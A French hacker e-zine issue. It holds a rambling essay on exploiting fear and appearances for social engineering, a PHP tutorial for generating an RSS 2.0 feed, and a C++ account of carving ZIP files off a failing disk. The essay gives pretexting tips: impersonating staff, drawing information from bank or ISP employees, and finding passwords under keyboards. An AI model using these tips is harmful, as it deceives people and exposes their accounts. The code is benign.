le monde moderne  est  remplis d'exemple a s'inspirer, le domaine de la mode en 
est un des plus  beau exemple et très facile a comprendre si ce n'est déjà fait 
(on l'espère  un  peu  pour  vous  dailleur).  Donc possédez telle produit vous 
donnera telle statut en  public. Dailleur a l'extrême l'uniforme d'un soldat ou 
d'un policier peu faire frissonner  plusieurs  civil (arme compris). Et si vous 
vous demandiez en quoi le costume d'un pâtissier peu être lier a la peur ? car, 
effectivement a première vue un pâtissier a  rarement  effrayer quelqu'un. Bien 
sachez que quelque par au fond de l'être humain réside une peur d'être perdu et 
de ne pas comprendre sont environnement. Donc si  vous  chercher  un  pâtissier 
vous  allez  être heureux de croire que celui qui s'affiche  pâtissier  en  est  
un (et  vous  avez tellement la trouille de vous faire avoir que celui  ci doit 
posséder  divers  permis  pour  vous vendre ses produits). Dailleur si  certain  
d'entre vous on déjà eu a  porter  un  uniforme  de  travails  pour  un magasin  
a  rayon  quelconque,  repenser au nombre de  fois  ou  vous  vous  êtes  faite  
demander "pardons  travaillez  vous  ici ?".   s'attendent   t'ils  vraiment  a 
entendre; "non, jsuis juste déguisé.". Ils ont simplement le besoin de se faire 
rassurer. après  tout  faut  éviter  de  mal  paraître.... jme souvient pu trop 
pourquoi mais bon, qui sait s'qui pourrais  arriver....  Un  des  passes  temps 
favoris de l'être humain étant de trouver  une  bonne  raison  pour  avoir peur 
de quelque chose,  l'impression  de  s'être  faite arnaquer quelque part, qu'un 
complot existe ici ou la. bien entendu bien souvent  les  peurs sont justifiés, 
sinon elle ne serais  pas  aussi imprégner au seins  de l'humanité. Par contre, 
ça ne vous empêche pas  de les comprendre et de les  utiliser a votre avantage, 
car en réalité ce qui  compte pour la peur et les sentiment en général, ce sont 
les apparences, et non ce que c'est vraiment. L'intelligence est venu après les 
émotions dans la chaîne de l'évolution, il est donc tout a fait  normal  quelle  
permette  d'en brisée quelque règles. L'intelligence permet en  effet  étouffer  
les sentiments pour  lui  subtiliser soit la logique ou les réflexes  qui  sont  
en fait des émotions  très basic de réaction programmer a des stimulis, 


ayoye == bouge

encore une fois on i voit les sources de nos bonnes vieilles peurs



notez qu'un simple doute est considérer comme une peur a l'emploie de se texte.


Comment utiliser la peur pour faire passer vos idée ? 


Comme il a été dit plutôt, la peur fait en sorte que l'être humain a tendance a 
se  fier  aux  apparences.  Après  tout,  la nature ne ment pas et elle nous as 
imprégner  durant la majeur parti de notre existence en tant que race. Et l'art 
du social engeneering  consiste principalement a se faire passez pour qui  nous 
ne somme pas. La vie est un film ou  les  gens  meurent  vraiment. Vous avez le 
choix du role que vous désirez, si vous êtes capable de combattre les peurs qui 
viennent avec le choix que vous avez fait (remarquez  dailleur  que la plus par 
dentre nous travaille au chaud dans des bureaux, non  mais  quel  courage).  De 
plus aider par le système anarchique qu'est le libre capitalisme la  plus   par 
des gens se retrouve dans un  emplois  "pour  payer  le  loyer"  dans  lesquels 
souvent ils nont peu  être  pas  l'impression d'être totalement justifier (bien 
sur ils font  de  leur  mieux). Donc  évidement ils auront souvent plus peur de 
leur patron que de vous. C'est un avantage stratégique a ne pas manquer. non ce 
n'est pas tout le monde qui a peur de sont  patron  et  qui  n'est pas dans les 
bon pantalons, mais ca c'est a vous de faire la différence. avec  les  systèmes  
téléphonique  avec  plusieurs  téléphonistes, une certaine forme de brute force  
peu être appliquer, mais essayer de rester discret. De  plus  ceux  qui  auront  
compris que jsuis en train  d'expliquer  qui  faut appeler  des  employés  pour   
les  menacer,  vous  êtes totalement dans le champ, ce que je dit plutôt, c que 
quand  vous  allez  a la banque ou peu importe, votre isp, essayer de voir avec 
qui vous  réussissez  a  tirez  le  plus  d'information   en restant "banal" et 
sympathique. tse la bonne vielle méthode de l'homme qui a vue l'homme qui a  vu  
l'ours.  (j'ai toujours entendu dire qu'on foutais des chats mort dans vos sous  
sol,  est-ce vrai ?). 



Un  autre  phénomène notoire et utilisable est que, pour survivre l'être humain 
c'est toujours tenu en groupe, l'union fait la force, surtout quand on a pas de 
pepine. Donc  chaque être  humain  d'une  communauté  a  tendance a adapter une 
façon d'être commune. Donc plus vous réagirai  a  une personne de la même façon 
quelle le ferais, et ce même physiquement (ou même surtout  physiquement), plus 
vous  allez  lui  êtes favorable, car vous aurez été perçu comme membre  de  sa 
tribut. Avec  la  tribut  sont née  les relations d'échange, je fais si tu fais 
ça,  le  troc,  base  du commerce et ou de la corruption, peu importe le nom ça 
revient  a  je te done ou fait x  pour  toi  et  tu  me  donne ou me fais y. Le 
but étant  évidement  toujours d'en donner le moins possible  pour  en avoir le 
plus possible  (non pas davoir le plus cheap possible par contre).


Ou est-ce que ça mene tout ça concrètement ? et bien c'est dure a dire, parfois 
ça peu être  5  minute de solitude et un "bon" café (le temps de faire le café) 
que l'on peu utiliser pour lire  quelque papier, regarder en dessous du clavier 
(smile your on video). Ou bien de carrément  se  faire  dire,  "maudit  mots de 
passe, moi jles écrits toute en dessous de mon clavier hihihi!".  D'autre  vont 
récupérer des quilles, ou réserver des allées au nom de Derekt Humcrew. Ou bien 
munissez vous d'un pad de papier, d'un stylos, et allez vous promener en disant 
que vous  faite l'inventaire  pour inter-san, avec une belle list d'adresse (au 
cas ou), et vous allez être surpris de  voir  jusque  ou  les  gens  vont  vous 
confier leurs vidanges ;]. (dailleur si  vous  avez  un  squelette  dans  votre 
placard, d'après moi ya pas mal de poubelle perdu au nord de val belair...)



                                                  naration Wyzeman
                                                  figurant __2
                                                           Init_null
                                                           Wyzeman

 

.---+-=[ Info - Pubs ]=-------------------------------+--------------------------=[:P]=----.
|  i|#hack.fr, un endroit accueillant et stimulant     \___________________  ___  __   _   |
|  I|                                                                      \               |
|  I| (beaucoup (trop) d'explication plus tard...)                          '-=[ Mk-110 ]=-|
| //                                                                                       |
| L\:-=[<sah> attedn j'ouvre putty                                             ]=--[~~]----|
|      [<sah> etd is moi ce que je fais                                        ]    \/     | 
       [<Syncros> :ARF                                                         ]           | 
|      [<Syncros> :tu viens de me couter aumoins 10$ de weed                   ] will 
|      [<Syncros> :va faloir que j'me l'injecte par intraveineuse              ] cybernetic              
|      [<sah> je fais quoi mainte,nn,at                                        ] rats teach|  
       [<sah> il me demande l'ip ouhost                                        ] our cats ?|
       [<Syncros> :miaw miaw miaw miaw                                         ]           |  
|      [<Syncros> :miaw miaw miaw miaw                                         ]              
|-[~]-=[<Syncros> :miaw miaw miaw miaw miaw miaw miaw miaw                     ]                
                                                                               ]=-----:\T  | 
|                                                                                      //  |  
                                                                                      |I
                                                                                      |i 
'_______________________________________.I[ Event ]I._________________________________+____' 
                                   





.---+-=[ Implantons RSS dans votre site      ]=------+---------------------------=[11]=----.
|  i|                                                 \__________________  ___  __   _     |
|  I|                                                                    \                 |
|  I|                                                                     '-=[Nothing94 ]=-|
| //                                                                                       |
| L\:-=[Ak : Le syndicat du web est rendu à votre porte ]=--------------[~~~~~~~~~~~~]-----|
|                                                                        \          /      | 
'________________________________________________________________________.I[MK-110]I.______'         
               

+-----------+-------------------------------+
| Mots clés | Quoi, Pourquoi, Pour qui      |
+-----------+-------------------------------+

Premièrement,  RSS  est  pour  "Really Simple Syndication". Deuxièmement, c'est 
rien   de  compliqué.  Ce  nouveau  standard  sert  uniquement  aux  dépendants 
d'internet. C'est un peu  le  principe  d'Illico  de  Videotron  où  l'on  peut 
regarder les films que l'on veut lorsque l'on désire, et ce, dans le confort de 
la maison. Donc, par analogie, l'usager peut  lire  les  nouvelles de 400 sites 
web - dont le vôtre - via un seul et  unique  programme  ou  client  email  qui 
supporte les newsfeeds. Ceci lui  permet  alors  d'éviter  le long processus de 
taper les adresses des sites  web  dans  son  browser, de scroller à travers la 
publicité pour lire les headlines et de gosser ici et là. Il a accès à tous les 
headlines à un seul endroit, et dans bien des cas, il a l'article intégral sans 
avoir à cliquer sur un url qui se rend au site. C'est ce que j'appelle avoir de 
l'information  de  manière  condensée  pour  bien  cohabiter  avec  un monde de 
surconsommation. Toutefois, les newsfeeds ont certains désavantages  au  niveau 
de  l'expérience  du  navigateur.  C'est-à-dire que lorsque vous  regardez  des 
newsfeeds, c'est comme si vous lisiez des emails. Tout est fade, sans couleurs, 
sans attraits, sans contenu superflu ou additionnel. Vous êtes encadrés par  le 
contenu strictement. Bien sûr le  contenu  peut  être en format html, mais cela 
reste un contenu qui ne change pas de format à la base. Nous nous rendons alors 
compte si ce  n'est  déjà  fait, que cette technologie sert uniquement pour les 
sites  de  nouvelles  ou  les  blogs  où  chaque information peut se séparer en 
morceau indépendamment du reste du site.

+-----------+-------------------------------+
| Mots clés | Comment                       |
+-----------+-------------------------------+

Comme je disais précédemment c'est très simple. Tout ce qu'il vous  faut, c'est 
un fichier xml contenant les dernières nouvelles de votre  site.  Nous  verrons 
ici le format RSS 2.0. Si vous voulez utiliser des  versions  antérieures comme 
0.91 ou 0.92, c'est votre problème. Si  vous  voulez  utiliser RDF, c'est votre 
problème. Notez que je n'ai pas  décelé  d'utilité à utiliser le format RDF qui 
est plus complexe mais  qui  n'offre  pas  grand  chose de plus à la fin. Après 
tout, le but premier est d'informer rapidement, et non de réinventer le web.

+-----------+-------------------------------+
| Mots clés | Exemple RSS                   |
+-----------+-------------------------------+

<?xml version="1.0" encoding="ISO-8859-1" standalone="yes" ?>
<rss version="2.0">
  <channel>
    <title>hall of nothingness</title>
    <link>http://nothing94.250x.com</link>
    <description>Project what you want to be, anyway you are nothing</description>
    <language>fr-ca</language>
    <webMaster>dieforyoursins@hotmail.com</webMaster>
    <pubDate>Sat, 21 Aug 2004 15:21:38 EST</pubDate>
    <ttl>1440</ttl>
    <item>
      <title>Updates internes</title>
      <link>http://nothing94.250x.com/news1.html#Updates_internes</link>
      <description>&lt;p&gt;Hourra, des updates majeures ont été faites dans le code. En résumé, plus d&apos;orienté objets dans les scripts php, le xhtml est dans des templates Smarty, et il y a maintenant un RSS feed.&lt;/p&gt;</description>
      <pubDate>Sat, 21 Aug 2004 00:00:00 EST</pubDate>
    </item>
    <item>
      <title>Nouvelle image : Looking Glass</title>
      <link>http://nothing94.250x.com/news1.html#Nouvelle_image_:_Looking_Glass</link>
      <description>Dans la section Pictures/Artworks.</description>
      <pubDate>Tue, 27 Jan 2004 00:00:00 EST</pubDate>
    </item>
  </channel>
</rss>

Nous voyons  la  définition  du xml, la définition du document rss, le channel, 
puis la définition du site web, pour finalement lister le contenu.

+-----------+-------------------------------+
| Mots clés | Spécification RSS             |
+-----------+-------------------------------+

1 - Mettre l'élément <?xml ... ?>
2 - Mettre l'élément <rss version="2.0">
3 - Mettre l'élément <channel>
4 - Mettre les infos du site sous l'élément <channel>

  +------------------------------------------------------------------+
  | Éléments obligatoires                                            |
  +----------------+-------------------------------------------------+
  | title          | Titre de votre site                             |
  | link           | Url vers votre site                             |
  | description    | Description de votre site                       |
  +----------------+-------------------------------------------------+
  | Éléments optionnels                                              |
  +----------------+-------------------------------------------------+
  | language       |                                                 |
  | copyright      | Puisque vous savez ou                           |
  | managingEditor | devriez tous savoir lire                        |
  | webMaster      | l'anglais, et que la                            |
  | pubDate        | traduction de ces éléments                      |
  | lastBuildDate  | demanderait beaucoup de                         |
  | category       | temps de ma part. Je vous                       |
  | generator      | invite à lire le site                           |
  | docs           | http://blogs.law.harvard.edu/tech/rss           |
  | cloud          | qui contient toutes les                         |
  | ttl            | définitions nécessaires                         |
  | image          | et spécifications                               |
  | rating         | pour utiliser ces éléments                      |
  | textInput      | efficacement. Merci de                          |
  | skipHours      | votre compréhension.                            |
  | skipDays       |                                                 |
  +----------------+-------------------------------------------------+

5 - Mettre les dernières nouvelles de votre site sous l'élément <channel>

  5.1 - Pour chaque nouvelle, mettez un élément <item>
  5.2 - Mettez les infos de la nouvelle sous l'élément <item>

  +------------------------------------------------------------------+
  | Éléments obligatoires                                            |
  +----------------+-------------------------------------------------+
  | title          | Titre de votre nouvelle                         |
  | link           | Url vers votre nouvelle                         |
  | description    | Description de votre nouvelle ou texte intégral |
  +----------------+-------------------------------------------------+
  | Éléments optionnels                                              |
  +----------------+-------------------------------------------------+
  | author         | Puisque vous savez ou devriez tous savoir lire  |
  | category       | l'anglais, et que la traduction de ces éléments |
  | comments       | demanderait beaucoup de temps de ma part. Je    |
  | enclosure      | vous invite à lire le site                      |
  | guid           | http://blogs.law.harvard.edu/tech/rss           |
  | pubDate        | qui contient toutes les définitions nécessaires |
  | source         | et spécifications pour utiliser ces éléments.   |
  +----------------+-------------------------------------------------+

+-----------+-------------------------------+
| Mots clés | Création du newsfeed avec PHP |
+-----------+-------------------------------+

J'ai  décidé  ici  de rendre entièrement indépendant le module qui construit la
définition RSS. Le code  suivant  peut  donc  être  utilisé  directement  comme 
source. C'est-à-dire que nous n'avons pas à  générer  de  fichier  xml  puisque 
cette page php va construire au runtime un  fichier  up-to-date. Notez que vous 
n'avez besoin que des dernières  nouvelles du site considérant que ce n'est pas 
de l'archivage que vous faites.  Notez également que les aggregators (Programme 
pour lire les  news feed) conservent à l'interne les vieilles nouvelles si vous 
le désirez.

  +------------------------------------------------------------------+
  | Fichier ./rss/index.php                                          |
  | Objet : Génère le fichier xml et l'imprime au STDOUT             |
  +------------------------------------------------------------------+
<?php

  require_once('../include/vars.inc');
  require_once('../include/Database.php');
  require_once('../include/Utils.php');
  require_once('../include/XmlWriter.php');

  # CONNECT TO THE DATABASE *************************
  $db = new Database;
  $db->login('../include/login.ini',DB_NAME)
  or die("Connection failed: " . mysql_error());

  # GET LATEST NEWS *********************************
  $query = "SELECT date,time,topic,text FROM news WHERE page='1' ORDER BY date DESC,time DESC";
  $query_result = mysql_query($query) or die("Query failed: " . mysql_error());

  # CREATE RSS **************************************
  $xml = new XmlWriter('ISO-8859-1');

  $xml->push('rss', array('version' => '2.0'));
  $xml->push('channel');
  $xml->element('title','hall of nothingness');
  $xml->element('link','http://nothing94.250x.com');
  $xml->element('description','Project what you want to be, anyway you are nothing');
  $xml->element('language','fr-ca');
  $xml->element('webMaster','dieforyoursins@hotmail.com');
  $xml->element('pubDate',Utils::getDateRFC822(time()));
  $xml->element('ttl','1440');
  # Process each news
  while ($row = mysql_fetch_assoc($query_result)) {
    $xml->push('item');
    $xml->element('title',$row['topic']);
    $xml->element('link','http://nothing94.250x.com/news1.html#'.
                         htmlentities(str_replace(' ','_',$row['topic'])));
    $xml->element('description',$row['text']); # Note : My text contains html
    $xml->element('pubDate',Utils::getDateRFC822(strtotime($row['date'])));
    $xml->pop(); # item
  }
  $xml->pop(); # channel
  $xml->pop(); # rss

  print $xml->getXml();

?>
  +------------------------------------------------------------------+
  | EOF                                                              |
  +------------------------------------------------------------------+
  +------------------------------------------------------------------+
  | Fichier ./include/XmlWriter.php                                  |
  | Objet : Module cheapo pour créer un fichier xml                  |
  +------------------------------------------------------------------+
<?php

# Modified by nothing94
# Simon Willison, 16th April 2003
# Based on Lars Marius Garshol's Python XMLWriter class
# See http://www.xml.com/pub/a/2003/04/09/py-xml.html

class XmlWriter {
  var $xml;
  var $indent;
  var $stack = array();
  function XmlWriter($encoding = 'utf-8', $indent = '  ') {
    $this->indent = $indent;
    $this->xml = "<?xml version=\"1.0\" encoding=\"$encoding\"?>\n";
  }
  function _indent() {
    for ($i = 0, $j = count($this->stack); $i < $j; $i++) {
      $this->xml .= $this->indent;
    }
  }
  function push($element, $attributes = array()) {
    $this->_indent();
    $this->xml .= '<'.$element;
    foreach ($attributes as $key => $value) {
      $this->xml .= ' '.$key.'="'.$this->_xmlentities($value).'"';
    }
    $this->xml .= ">\n";
    $this->stack[] = $element;
  }
  function element($element, $content, $attributes = array()) {
    $this->_indent();
    $this->xml .= '<'.$element;
    foreach ($attributes as $key => $value) {
      $this->xml .= ' '.$key.'="'.$this->_xmlentities($value).'"';
    }
    $this->xml .= '>'.$this->_xmlentities($content).'</'.$element.'>'."\n";
  }
  function emptyelement($element, $attributes = array()) {
    $this->_indent();
    $this->xml .= '<'.$element;
    foreach ($attributes as $key => $value) {
      $this->xml .= ' '.$key.'="'.$this->_xmlentities($value).'"';
    }
    $this->xml .= " />\n";
  }
  function pop() {
    $element = array_pop($this->stack);
    $this->_indent();
    $this->xml .= "</$element>\n";
  }
  function getXml() {
    return $this->xml;
  }
  function _xmlentities($element) {
    $patterns     = array("/&/"  ,"/</" ,"/>/" ,"/\"/"  ,"/'/");
    $replacements = array('&amp;','&lt;','&gt;','&quot;','&apos;');
    return preg_replace($patterns, $replacements, $element);
  }
}

?>
  +------------------------------------------------------------------+
  | EOF                                                              |
  +------------------------------------------------------------------+

En  résumé, le fichier index.php se connecte à la base de données,  va chercher 
les dernières nouvelles et puis génère un fichier xml qui  s'imprime au STDOUT. 
Il est à noter  que  si  votre  site  a  beaucoup  de  visiteurs,  il  est  peu  
recommandé  de  laisser cette page accessible.  Il  vous  est  donc  recommandé 
d'utiliser cette page à l'interne  uniquement  en  créant à tous les X temps un 
nouveau fichier xml  up-to-date.  Donc,  pour générer le fichier, vous pouvez y 
aller en console avec quelque chose comme : 

% php -f index.php > index.xml

Vous pourrez accéder à votre newsfeed avec le url
http://nothing94.250x.com/rss/index.xml
si vous ne rendez pas public index.php, autrement ce sera
http://nothing94.250x.com/rss/index.php

+-----------+-------------------------------+
| Mots clés | Flafla visuel                 |
+-----------+-------------------------------+

Il  ne  vous  reste  plus  qu'à mettre sur votre site un beau lien  vers  votre 
fichier xml avec une belle image RSS ou XML ou bien un  beau  caption "RSS news 
feed". Si vous êtes plus hardcore vous pouvez  toujours  mettre  comme  caption 
"Don't click here".

+-----------+-------------------------------+
| Mots clés | Utilisation de RSS            |
+-----------+-------------------------------+

Pour lire les news feed, il va de soi que vous avez besoins de  programmes  qui 
le supporte.

Voici des "aggregators" pouvant lire RSS 2.0
  Aggie (.NET)
  AmphetaDesk (Windows, Macintosh, Linux)
  BlogLines (Server-based)
  BottomFeeder (Windows, Macintosh, Unix)
  EffNews RSS Reader (Windows)
  FeedDemon (Windows)
  FeedReader (Windows)
  NetNewsWire (Macintosh)
  NewsDesk (.NET)
  NewsGator (.NET)
  NewsIsFree (Server-based)
  NewsMonster (Mozilla)
  NewzCrawler (Windows)
  nntp//rss (Java)
  PocketFeed (PocketPC)
  PopHeadlines (.NET)
  Python Desktop Server (Python)
  Radio UserLand (Windows, Macintosh)
  RSS Bandit (.NET)
  RSS NewsWatcher (Windows)
  Sharp Reader (.NET)
  Shrook (Macintosh)
  SlashDock (Macintosh)
  Straw (GNOME)
  Syndirella (.NET)
  VOX Lite (Windows)
  ZOË (Macintosh)
  Enclosure-aware aggregators

Ici,  j'ai  testé avec le news feed intégré dans le email client de Opera ainsi 
que Sharp Reader. 

+-----------+-------------------------------+
| Mots clés | Gourmandise                   |
+-----------+-------------------------------+

Pour  ceux  qui  veulent  en  savoir  plus, allez fouillez sur le web pour  des 
valideurs de RSS, ou pour n'importe quoi d'autre. RSS est  simple  et efficace, 
et personne ne prévoit modifier de beaucoup le format 2.0  outre  peut-être des 
changements mineurs.

+-----------+-------------------------------+
| Mots clés | Lâcheté                       |
+-----------+-------------------------------+

Si  vous  êtes  lâche  ou bien que vos doigts sont trop gros pour taper sur un 
clavier et ainsi programmer ce dont vous avez besoin, sachez qu'il  existe des 
outils pour générer votre/vos fichier(s) RSS.

  Blogger (Mark Gardner)
  JournUrl (Roger Benningfield)
  Manila (UserLand)
  Movable Type (Mark Pilgrim)
  Nucleus CMS (Wouter Demuynck)
  Radio UserLand (UserLand)

Je ne  les  ai  pas  essayés  et je vous laisse risquer votre vie inutilement. 
C'est si simple que ça ne vaut même pas le déplacement.

+-----------+-------------------------------+
| Mots clés | Signature                     |
+-----------+-------------------------------+

Truly yours, nothing94


                                   
.---+-=[ Info - Pubs ]=-------------------------------+--------------------------=[:P]=----.
|  i|#hack.fr, c'est aussi....binf                     \___________________  ___  __   _   |
|  I|                                                                      \               |
|  I|                                                                       '-=[ Mk-110 ]=-|
| //                                                                                       |
| L\:-=[<binf> ca reste que un channel qui pipe des news de slashdot et        ]=--[~~]----|
|      [securityfaux cul                                                       ]    \/     | 
       [<binf> que ya des branleux qui front le talk shit et qui appuient pas  ]           | 
|      [--------------------------Warp Zone----------------------------        ] Extreme 
|      [<binf> jvois juste pas le but de tenter d'avoir un empire de rien      ] coder               
|      [--------------------------Warp Zone----------------------------        ] don't use |  
       [<binf> ce toute des caves                                              ] backup    | 
       [<binf> spa compliquer                                                  ]           |  
|      [<binf> des pogne cul                                                   ]               
|-[~]-=[                                                                       ]                
                                                                               ]=-----:\T  | 
|                                                                                      //  |  
                                                                                      |I
                                                                                      |i 
'_______________________________________.I[ Event ]I._________________________________+____' 



.---+-=[ A tale of interests                 ]=------+---------------------------=[12]=----.
|  i|                                                 \__________________  ___  __   _     |
|  I|                                                                    \                 |
|  I|                                                                     '-=[__2       ]=-|
| //                                                                                       |
| L\:-=[Ak : Kaboum le HD, na pu                        ]=--------------[~~~~~~~~~~~~]-----|
|                                                                        \          /      | 
'________________________________________________________________________.I[MK-110]I.______'         
               

       Cet  article  ne   discute  pas  réellement d'une technique particulière 
mais plutôt d'un exemple  concret qui démontre comment cela peut être  plaisant 
de perdre tout le contenu d'un disque dur.

La dernière fois que l'un de mes disques a passer l'âme,  c'était  un  vieux 40 
megabytes en 1992. Donc, comme  vous  pouvez  le  constater,  je  suis pas très 
familier  avec  ce genre d'expérience. N'empêche, il  y a 1  semaine, le disque 
de 120gig sur laquelle  reposait mon  router, mon  CVS  de projets commerciaux, 
mes  documents, ma pr0n, mes warez et ma vie (on va dire) s'est  mis  a grincer  
des dents. Les  partitions  (Linux EXT3)  du  disque  sont soudainement devenus 
illisibles. 

Quel  fâcheux  contretemps,  un  jour  de  semaine  avec  du  travail  a  finir 
rapidement. J'avais deja décider de faire mon deuil de mon porn, mes  warez  et 
des trucs que j'avais pas vraiment besoin. Mes projets commerciaux avaient, par
miracle été copier 1 journée avant sur un CD (Aleluya).

Il restait tout de même un petit hic, il  me    manquait quelques fichiers très   
importants (que j'avais pris le  soin de zipper la veille). Vu l'importance  de 
retrouver ce fichier a caractère vitale (mes états de  compte et autres papiers 
important pour que le gouvernement puisse investir dans de  la  commandite), je 
me    suis  mis a  réfléchir a des façons de réussir a  retrouver    mon  petit 
fichier zip perdu. C'est  a  ce  moment  la que la quête commence :)

Choses a savoir:

La partition  qui ne monte plus était la /dev/hdc2 elle contenait une partition 
EXT3 dont approximativement les  10  premiers  megabytes  étaient  fichus ainsi 
qu'a plusieurs autre endroits si on se fit au son fatiguant.


Qu'est-ce que j'ai fait:

J'ai tout  d'abord   utiliser  hexedit   pour   ouvrir   la  partition (hexedit 
/dev/hdc2) et j'ai chercher pour  le  pattern 'facture_1112.xls'. Je savais que 
ce  fichier  se  trouvait  dans mon fichier ZIP, et les noms de fichier ne sont 
jamais   compresser  dans  un  fichier ZIP, seulement leur contenu (merci ZIP). 
Alors si  tout  va bien, je devrais être capable de retrouver ce pattern, sinon  
je peux réellement dire adieux a mon précieux fichier.

BINGO, je  retrouve  le  pattern vers  la moitiez  de  la  partition. Prochaine 
étape, extraire le ZIP et vérifier si il est encore valide.  Cette  partie  est  
plus difficile mais voici grossomodo mon approche:

J'ai premièrement,ete  me perdre dans le code source de zlib, pour   finalement  
accélérer  mes  démarches  en consultant le très  utile www.wotsit.org, un site 
que je consulte depuis quelques années et   qui   contient  la spécification de 
plusieurs formats de fichier.

Voici ce qui en a ressorti d'important:

 -> local file header signature 4 bytes  (0x04034b50)
 -> end of central dir signature 4 bytes  (0x06054b50)

Le premier   pattern (0x04034b50)  va   me permettre de trouver le début de mon    
fichier,   et   le 2ieme (0x06054b50) sa fin.

Alors, tout joyeux j'ai commencer a concevoir un petit code pour  extraire tout 
les zip que je trouverais sur le disque en question:


------------------last_hope.cpp------------------------

// Ce define a ete tricky  a  trouver, c'est  ce  qui  me
// permet d'utiliser de  l'adressage 64bits a l'intérieur
// des fichiers. Sans cela je serais limiter a la lecture
// de fichier de 4 Gigs.

// Linux supporte le 64bits, mais par défaut il fallback 
// en 32, on doit alors spécifier ce macro au début   de 
// notre code. Je trouve que ca ressemble a un ugly hack
// pour un os, mais bon, tant que ca fonctionne bien.

#define _FILE_OFFSET_BITS 64

#include <iostream>
#include <time.h>
#include <stdio.h>

#define FAULTY_DEVICE "/dev/hdc2"		// la partition sur le evil HD
#define ZIP_START "\x50\x4b\x03\x04"            // le pattern de depart
#define ZIP_END "\x50\x4b\x05\x06"              // le pattern de fin



/*------------------------------------------------------*/
// Le bon vieux main , rien a en redier
/*------------------------------------------------------*/
int main(int argc,char* argv[])
{
	// ici je verifie si le systeme est bel et bien capable de supporter le mode 64bits
	// dans le cas d'un systeme 32bits, le sizeof retourne 12 au lieu de 16. Cr le off_t
	// pese 4bits au lieu de 8.

	if (sizeof(fpos_t) != 16) {
		std::cout << "This system dont support 64bits file io" << std::endl;
		return 0;
	}

	// Variables 'wedontcare' globales
	char sign[4];
	int count = 0;
	int size = 0;
	bool inside_zip = false;
	fpos_t off_start;
	fpos_t off_end;
	fpos_t off_now;

	char tempfile[255];

	FILE* fd = fopen(FAULTY_DEVICE,"rb");  // On ouvre la partition en lecture/binaire
	
	// on devine facilement ce que cela fait :)
	if (fd == NULL) {
		std::cout << "Unable to open faulty device." << std::endl;
		return -1;
	}
	

	// Ici on lis la partition du debut vers la fin
	while (!feof(fd))
	{
		count++;

		// on decale le pattern que l'on cherche a chaque lecture car le HD n'utilise
		// pas des blocs fixes de 4 bytes par exemple.

		sign[0] = sign[1];
		sign[1] = sign[2];
		sign[2] = sign[3];
		sign[3] = fgetc(fd);
		
	
		// Si on trouve un pattern, on le note 
		if (strncmp(sign,ZIP_START,4)==0) {

			std::cout << "ZIP START here. OFFSET: " << ftell(fd)  << std::endl;
			if (inside_zip == true) {
				std::cout << "WARNING: ZIP ALREADY STARTED. [SKIP]" << std::endl;
				}
				else {
				fgetpos(fd,&off_start);
				off_start.__pos -= 4;	
				}

			inside_zip = true;
		}
		

		// si on trouve le pattern de fin , on le note et on lis le fichier 

		if (strncmp(sign,ZIP_END,4)==0) {
			std::cout << "ZIP END here. OFFSET: " << ftell(fd) << std::endl;
			if (inside_zip == false) std::cout << "WARNING: ZIP NOT STARTED" << std::endl;
			inside_zip = false;
		
			fgetpos(fd,&off_end);
			
			sprintf(tempfile,"%d.zip",time(NULL));
			std::cout << "WRITING TO: " << tempfile << std::endl;
			std::cout << "START:" << off_start.__pos << 
			std::endl;
			std::cout << "END:" << off_end.__pos << std::endl;
			std::cout << "FILESIZE  : " << (off_end.__pos - off_start.__pos) << std::endl;
			
			fgetpos(fd,&off_now);

			off_end.__pos += 18;

			fsetpos(fd,&off_start);

			// ICI on discarde les fichiers plus gros que 400 megabytes, pour 2 raisons,
			// la premiere etant que mon fichier doit peser maximum 50 kilobytes et secondo
			// ca empeche de faire un malloc() de 4 gig quand il tombe sur des blocks non-ordonnee
			// (voir la fin de l'article pour ample explications)

			if (((off_end.__pos - off_start.__pos) > 400000) || ((off_end.__pos - off_start.__pos) < 0))
			std::cout << "TOO BIG TO BE REAL" << std::endl;
			else
			{ 
			
				// C'est cheap, cest pas fiable, mais ca fonctionne alors SHUT
				// La premiere version de ce code avait pas de check (plus haut), alors
				// si je pognais un faux-positif de 2 GIG, mon PC swappait until death.

				char* data = (char*) malloc(off_end.__pos - off_start.__pos);
				if (data == NULL) {
					std::cout << "NOT ENOUGH MEMORY, WHERE IS THE SWAP WHEN YOU NEED IT!" << std::endl;
					return -1;
				}
	
				fread(data,off_end.__pos-off_start.__pos,1,fd);

				FILE* out = fopen(tempfile,"wb");
				fwrite(data,off_end.__pos-off_start.__pos,1,out);
				fclose(out);			
				free(data);
			}

			fseek(fd,off_now,SEEK_SET);
			fsetpos(fd,&off_now);

		}
		
		// Cela empeche de creer l'effet classique "Coudonc le process es-tu geler?"
		if (count % 32768000 ==0) {
			size += 128;
			std::cout << size << " megabytes read. " << std::endl;
		}

	}

	// on ferme le FS
	fclose(fd);
}

-EOF---------------last_hope.cpp-----------------EOF---

Une  fois  compiler,  l'exécution  s'est bien dérouler   et j'ai  pus  extraire  
quelque centaines de fichiers ZIP,  cela  a  pris  au moins 1 heure et j'ai pus 
retrouver mon précieux fichier!

Il y a tout  de   même  quelques   problèmes qui m'ont amener a changer le code 
si-dessus  legerement   mais   je  ne  tient pas a rentre mon code encore moins 
lisible   en  ajoutant  les  "hacks"  qui  ont  ete apporter ici et la. (IE: Le 
handling des parties défectueuses)

Le plus gros problème que j'ai eu a rencontrer porte le  nom de defragmentation 
:) Certains blocs n'étaient  pas dans l'ordre d'écriture mais  pele-mêle, alors    
c'est bien entendu que  je ne pouvais  pas  lire ce genre de fichier (C'est  ce  
qui  cause  des  faux-positifs de 2  gigs). Pour ma chance, le fichier que   je  
recherchait remplissait 2 conditions, être tout petit(~50k) et ne pas se trouve  
enfermer  dans   un   bloc de data faux-positif. La prochaine fois qu'un disque  
saute, la nouveau version de mon code pourra scanner  plusieurs fois la surface 
en éliminant les faux positifs  pour ne pas perdre du précieux contenu dure 
d'accès.

Cela  termine  ma  "quête",  j'ai  trouver  l'idée  de   vous   en  faire  part 
intéressante, comme quoi que    tout  est possible quand on est désespérerez et 
qu'on  roule sous Linux :) (Ok, savoir coder depuis une décennie ça aide)

La prochaine fois j'vais vous raconter  comment  j'ai  installer  Fedora Core 3 
avec 4  CD  scraps  en  ptracant  anaconda via GDB pour créer un race condition 
entre  moi pis le OS pour avoir accès au mount point du CD. :)

						                                                                __2

                                 
.---+-=[ Info - Pubs ]=-------------------------------+--------------------------=[:P]=----.
|  i|#hack.fr, un milieu riche en information         \___________________  ___  __   _   |
|  I|                                                                      \               |
|  I|                                                                       '-=[ Mk-110 ]=-|
| //                                                                                       |
